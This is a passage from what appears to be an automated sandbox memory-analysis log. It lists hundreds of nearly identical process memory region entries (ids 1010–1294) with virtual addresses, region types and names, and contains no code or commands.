"pagefile_0x00000000001e0000" filename = "" Region: id = 1010 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1011 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1012 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1013 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1014 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1015 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1016 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1017 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1018 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1019 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1020 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1021 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1022 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1023 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1024 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1025 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1026 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1027 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1028 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1029 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1030 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1031 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1032 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1033 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1034 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1035 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1036 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1037 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1038 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1039 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1040 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1041 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1042 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1043 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1044 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1045 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1046 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1047 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1048 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1049 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1050 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1051 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1052 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1053 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1054 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1055 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1056 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1057 start_va = 0x1e0000 end_va = 0x1effff entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 1058 start_va = 0x270000 end_va = 0x277fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 1059 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1060 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1061 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1062 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1063 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1064 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1065 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1066 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1067 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1068 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1069 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1070 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1071 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1072 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1073 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1074 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1075 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1076 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1077 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1078 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1079 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1080 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1081 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1082 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1083 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1084 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1085 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1086 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1087 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1088 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1089 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1090 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1091 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1092 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1093 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1094 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1095 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1096 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1097 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1098 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1099 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1100 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1101 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1102 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1103 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1104 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1105 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1106 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1107 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1108 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1109 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1110 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1111 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1112 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1201 start_va = 0x1e0000 end_va = 0x1effff entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 1202 start_va = 0x270000 end_va = 0x277fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 1203 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1204 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1205 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1206 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1207 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1208 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1209 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1210 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1211 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1212 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1213 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1214 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1215 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1216 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1217 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1218 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1219 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1220 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1221 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1222 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1223 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1224 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1225 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1226 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1227 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1228 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1229 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1230 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1231 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1232 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1234 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1235 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1236 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1237 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1238 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1239 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1240 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1241 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1242 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1243 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1244 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1245 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1246 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1247 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1248 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1249 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1250 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1251 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1252 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1253 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1254 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1255 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1256 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1257 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1258 start_va = 0x1e0000 end_va = 0x1effff entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 1259 start_va = 0x270000 end_va = 0x277fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 1260 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1261 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1262 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1263 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1264 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1265 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1266 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1267 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1268 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1269 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1270 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1271 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1272 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1273 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1274 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1275 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1276 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1277 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1278 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1279 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1280 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1281 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1282 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1283 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1284 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1285 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1286 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1287 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1288 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1289 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1290 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1291 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1292 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1293 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1294 